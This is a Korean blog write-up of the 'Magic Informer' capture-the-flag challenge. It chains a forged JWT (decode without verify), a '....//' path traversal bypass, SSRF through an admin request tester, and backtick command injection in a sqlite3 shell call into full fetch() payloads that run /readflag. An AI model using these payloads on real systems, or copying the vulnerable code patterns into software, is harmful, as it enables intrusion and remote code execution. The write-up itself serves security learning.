티스토리 뷰

728x90
반응형

문제 개요

문제 첫 페이지

The Magic Informer is the only byte-sized wizarding newspaper that brings the best magical news to you at your fingertips! Due to popular demand and bold headlines, we are often targeted by wizards and hackers alike. We need you to pentest our news portal and see if you can gain access to our server.

코드 분석

FLAG의 위치는 Dockerfile에서 찾을 수 있습니다.

RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

c 언어로 컴파일되었고 root 경로에 readflag 라는 실행파일이 만들어진 것으로 보아 FLAG를 획득하기 위해서는 RCE 취약점을 찾아 트리거해야하는 것으로 보입니다.

 

문제에는 관리자 페이지가 있었습니다. 그리고 관리자 페이지에서 RCE 벡터를 찾을 수 있었습니다.

router.post('/debug/sql/exec', LocalMiddleware, AdminMiddleware, async (req, res) => {

    const { sql, password } = req.body;

    if (sql && password === process.env.DEBUG_PASS) {
        try {
            let safeSql = String(sql).replaceAll(/"/ig, "'");

            let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;

            const cmdExec = execSync(cmdStr);

            return res.json({sql, output: cmdExec.toString()});
        }
        catch (e) {
            let output = e.toString();
            if (e.stderr) output = e.stderr.toString();
            return res.json({sql, output});
        }
    }

    return res.status(500).send(response('Invalid debug password supplied!'));
});

safeSql 파라미터에 임의 입력값을 넣어주면 execSync 함수에 들어가서 명령어가 실행됩니다. 다만 해당 기능을 수행하기 위해서는 두 가지 미들웨어를 통과해야하는데, 관리자 권한과 localhost에서 수행해야하는 환경이 필요하게 됩니다.

 

우선 LocalMiddleware 코드는 아래와 같습니다.

const LocalMiddleware = async (req, res, next) => {
    if (req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') {
        return next();
    }
    return res.status(401).json({ message: 'Blocked: This endpoint is whitelisted to localhost only.' });
}

보다시피 host 헤더와 remote ip address 값이 모두 127.0.0.1 일 때만 허용되는 것으로 해당 코드자체는 우회가 어려워 보입니다. 때문에 로컬에서 수행하는 기능이 있는지 살펴봐야합니다.

 

그리고 그 코드는 아래에서 확인해볼 수 있습니다.

router.post('/api/sms/test', AdminMiddleware, async (req, res) => {

    const { verb, url, params, headers, resp_ok, resp_bad } = req.body;

    if (!(verb && url && params && headers && resp_ok && resp_bad)) {
        return res.status(500).send(response('missing required parameters'));
    }

    let parsedHeaders = {};
    try {
        let headersArray = headers.split('\n');
        for(let header of headersArray) {
            if(header.includes(':')) {
                let hkey = header.split(':')[0].trim()
                let hval = header.split(':')[1].trim()
                parsedHeaders[hkey] = hval;
            }
        }
    }
    catch (e) { console.log(e) }

    let options = {
        method: verb.toLowerCase(),
        url: url,
        timeout: 5000,
        headers: parsedHeaders
    };

    if (verb === 'POST') options.data = params;

    axios(options)
        .then(response => {
            if (typeof(response.data) == 'object') {
                response.data = JSON.stringify(response.data);
            }
            return res.json({status: 'success', result: response.data})
        })
        .catch(e => {
            if (e.response) {
                if (typeof(e.response.data) == 'object') {
                    e.response.data = JSON.stringify(e.response.data);
                }
                return res.json({status: 'fail', result: e.response.data})
            }
            else {
                return res.json({status: 'fail', result: 'Address is unreachable'});
            }
        })
});

axios 모듈은 node 에서 주로 사용되는 http 요청 함수입니다. 해당 함수로 url 값과 params 값, header 값 등을 사용자로부터 입력 받아 로컬에서 요청하게 해줍니다. 때문에 해당 코드를 사용할 수만 있다면 SSRF 공격 벡터로 활용될 수 있습니다. 다만 해당 코드 또한 관리자 페이지에 존재하는 기능(AdminMiddleware)이기 때문에 우선 관리자권한을 탈취할 수 있는 방법을 찾아낼 필요가 있겠습니다.

 

우선 관리자 검증을 수행하는 AdminMiddleware 코드를 보겠습니다.

const AdminMiddleware = async (req, res, next) => {
    try{
        if (req.cookies.session === undefined) {
            if(!req.is('application/json')) return res.redirect('/');
            return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
        }
        return decode(req.cookies.session)
            .then(user => {
                req.user = user;
                if (req.user.username !== 'admin') return res.redirect('/dashboard');

                return next();
            })
            .catch(() => {
                res.redirect('/logout');
            });
    } catch(e) {
        console.log(e);
        return res.redirect('/logout');
    }
}

cookies 의 session 값을 decode 한다고 합니다. decode 함수가 어떻게 정의되어 있는지 살펴봤습니다.

import jwt from "jsonwebtoken";
import crypto from "crypto";
const APP_SECRET = crypto.randomBytes(69).toString('hex');

const sign = (data) => {
    data = Object.assign(data);
    return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' }))
}

const decode = async(token) => {
    return (jwt.decode(token));
}

특이하게 jwt token을 사용해서 sign 하고 검증 시 verify 함수를 사용하지 않고 단순히 decode 함수를 사용하는 것으로 보입니다. decode 함수는 payload 부분을 signature을 모두 무시한 채로 base64 디코딩해줍니다.

 

관련 내용은 아래 링크에서 찾아볼 수 있습니다.

https://www.npmjs.com/package/jsonwebtoken/v/7.4.2#user-content-jwtdecodetoken--options

 

jsonwebtoken

JSON Web Token implementation (symmetric and asymmetric). Latest version: 9.0.0, last published: a month ago. Start using jsonwebtoken in your project by running `npm i jsonwebtoken`. There are 22335 other projects in the npm registry using jsonwebtoken.

www.npmjs.com

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjc1MTg1OTA5fQ.wVLe-QExCs50R_kwvzuk0A880ze-t7xLxj9ghvApUDM

위와 같이 그냥 signature가 무엇이든 payload의 username을 admin으로 변경해주면 관리자 권한을 획득할 수 있게 됩니다. 그리고 아래와 같이 관리자로 로그인할 수 있습니다.

 

이제 관리자 권한으로 SSRF 타겟에 접근해서 RCE가 가능한지 확인해보면 되겠습니다. 하지만 확인해보니 아래 코드에서 막히는 것을 알 수 있습니다.

if (sql && password === process.env.DEBUG_PASS) {
// ... 생략
}

sql 은 조작할 수 있다고 하더라도 password 값을 모르면 임의 SQL 또는 명령어를 수행할 수 없습니다. 그리고 password는 환경변수에 설정된 DEBUG_PASS란 값이라고 합니다. 어떤 값인지 확인해봤습니다.

# Set debug password
RUN DEBUG_PASS=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 15 | head -n 1) \
   && echo "DEBUG_PASS=${DEBUG_PASS}" > /app/debug.env

/app/debug.env 라는 파일에 있다고 합니다. 때문에 특정 파일을 읽을 수 있는 기능 또는 취약점을 찾아야 합니다.

그리고 마침 Path Traversal 취약점이 있는 타겟이 보입니다.

router.get('/download', AuthMiddleware, async (req, res) => {
    return db.getUser(req.user.username)
        .then(user => {
            if (!user) return res.redirect('/login');

            let { resume } = req.query;

            resume = resume.replaceAll('../', '');

            return res.download(path.join('/app/uploads', resume));
        })
        .catch(e => {
            return res.redirect('/login');
        })
});

resume 파라미터 값에 ../ 가 나올 경우 빈 문자열로 치환하는 코드가 보입니다. 이 경우 ....// 를 입력하게 되면 우회가 됩니다. 때문에 이 취약점을 이용해 /app/uploads/....//debug.env 파일을 불러올 수 있습니다.

DEBUG_PASS=vULszIrfzcons8m

이렇게 패스워드 값을 구했으니 이제 임의 SQL 구문도 실행해보고, 임의 명령어도 수행해볼 수 있겠습니다.

fetch("http://134.209.189.89:31091/api/sms/test", {
  "headers": {
    "accept": "*/*",
    "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache"
  },
  "referrer": "http://134.209.189.89:31091/sms-settings",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": JSON.stringify({"verb":"POST","url":"http://127.0.0.1:1337/debug/sql/exec","params":"{\"sql\" : \"select*from enrollments;\", \"password\": \"vULszIrfzcons8m\"}","headers":"Content-Type: application/json\nCookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjc1MDQ5OTQyfQ.CiOYq4muMudS3kW9b0UKcfbAQH89a4EIIWvg9v5cVXg","resp_ok":"<status>ok</status>","resp_bad":"<status>error</status>"}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then()

이런식으로 넘겨주면 select*from enrollments; SQL 구문을 수행하게 됩니다.

bash 에서 double quote의 경우에는 single qoute와는 달리 모든 문자를 escape 하지 않기 때문에 임의 명령어를 수행하도록 할 수 있습니다.

예를 들어 아래와 같이 select '`whoami`'; 라고 했을 경우 아래와 같이 node 라고 결과가 나오는 것을 확인해볼 수 있습니다.

 

문제 풀이

결과적으로 /readflag 파일을 실행하고 나온 결과를 출력하면 문제는 풀립니다.

fetch("http://134.209.189.89:31091/api/sms/test", {
  "headers": {
    "accept": "*/*",
    "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache"
  },
  "referrer": "http://134.209.189.89:31091/sms-settings",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": JSON.stringify({"verb":"POST","url":"http://127.0.0.1:1337/debug/sql/exec","params":"{\"sql\" : \"select '`/readflag`';\", \"password\": \"vULszIrfzcons8m\"}","headers":"Content-Type: application/json\nCookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjc1MDQ5OTQyfQ.CiOYq4muMudS3kW9b0UKcfbAQH89a4EIIWvg9v5cVXg","resp_ok":"<status>ok</status>","resp_bad":"<status>error</status>"}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then()

 

이상으로 Path Traversal, JWT Authentication Bypass, SSRF, Arbitrary Code Execution 취약점들을 이용해 풀 수 있는 문제였습니다.

 

- 끝 -

728x90
반응형
댓글